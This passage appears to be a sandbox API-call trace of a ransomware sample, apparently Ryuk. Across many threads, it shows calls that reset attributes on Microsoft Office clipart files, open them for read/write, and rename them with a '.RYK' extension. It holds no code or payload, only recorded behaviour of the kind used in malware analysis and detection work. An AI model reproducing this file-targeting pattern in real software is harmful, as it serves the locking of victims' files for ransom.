	[0242.466] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301052.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301052.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2313
	os_tid = 0x29c0

	[0242.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF", dwFileAttributes=0x80) returned 0
	[0242.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.608] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.609] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2314
	os_tid = 0x29c4

	[0242.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF", dwFileAttributes=0x80) returned 0
	[0242.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.469] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.469] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2315
	os_tid = 0x29c8

	[0242.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF", dwFileAttributes=0x80) returned 0
	[0242.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.611] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2316
	os_tid = 0x29cc

	[0242.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF", dwFileAttributes=0x80) returned 0
	[0242.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.472] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.472] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2317
	os_tid = 0x29d0

	[0242.474] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF", dwFileAttributes=0x80) returned 0
	[0242.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.474] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.474] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2318
	os_tid = 0x29d4

	[0242.478] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF", dwFileAttributes=0x80) returned 0
	[0242.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.613] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2319
	os_tid = 0x29d8

	[0242.479] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF", dwFileAttributes=0x80) returned 0
	[0242.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.614] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2320
	os_tid = 0x29dc

	[0242.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG", dwFileAttributes=0x80) returned 0
	[0242.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.626] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.626] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2321
	os_tid = 0x29e0

	[0242.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG", dwFileAttributes=0x80) returned 0
	[0242.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.709] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2322
	os_tid = 0x29e4

	[0242.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG", dwFileAttributes=0x80) returned 0
	[0242.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.624] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.624] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2323
	os_tid = 0x29e8

	[0242.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG", dwFileAttributes=0x80) returned 0
	[0242.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2324
	os_tid = 0x29ec

	[0242.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG", dwFileAttributes=0x80) returned 0
	[0242.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.771] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.772] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2325
	os_tid = 0x29f0

	[0242.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG", dwFileAttributes=0x80) returned 0
	[0242.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.773] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2326
	os_tid = 0x29f4

	[0242.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF", dwFileAttributes=0x80) returned 0
	[0242.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.774] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.774] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2327
	os_tid = 0x29f8

	[0242.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF", dwFileAttributes=0x80) returned 0
	[0242.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.775] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2328
	os_tid = 0x29fc

	[0242.552] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF", dwFileAttributes=0x80) returned 0
	[0242.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.776] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.777] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2329
	os_tid = 0x2a00

	[0242.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG", dwFileAttributes=0x80) returned 0
	[0242.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.778] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.778] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2330
	os_tid = 0x2a04

	[0242.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG", dwFileAttributes=0x80) returned 0
	[0242.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.779] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.779] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2331
	os_tid = 0x2a08

	[0242.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG", dwFileAttributes=0x80) returned 0
	[0242.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.780] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2332
	os_tid = 0x2a0c

	[0242.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG", dwFileAttributes=0x80) returned 0
	[0242.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.782] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2333
	os_tid = 0x2a10

	[0242.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG", dwFileAttributes=0x80) returned 0
	[0242.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.796] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2334
	os_tid = 0x2a14

	[0242.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG", dwFileAttributes=0x80) returned 0
	[0242.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.795] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2335
	os_tid = 0x2a18

	[0242.596] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG", dwFileAttributes=0x80) returned 0
	[0242.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.793] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.794] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2336
	os_tid = 0x2a1c

	[0242.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF", dwFileAttributes=0x80) returned 0
	[0242.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.792] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2337
	os_tid = 0x2a20

	[0242.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF", dwFileAttributes=0x80) returned 0
	[0242.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.791] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0242.791] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2338
	os_tid = 0x2a24

	[0242.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF", dwFileAttributes=0x80) returned 0
	[0242.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0242.789] CloseHandle (hObject=0xffffffffffffffff) returned 0
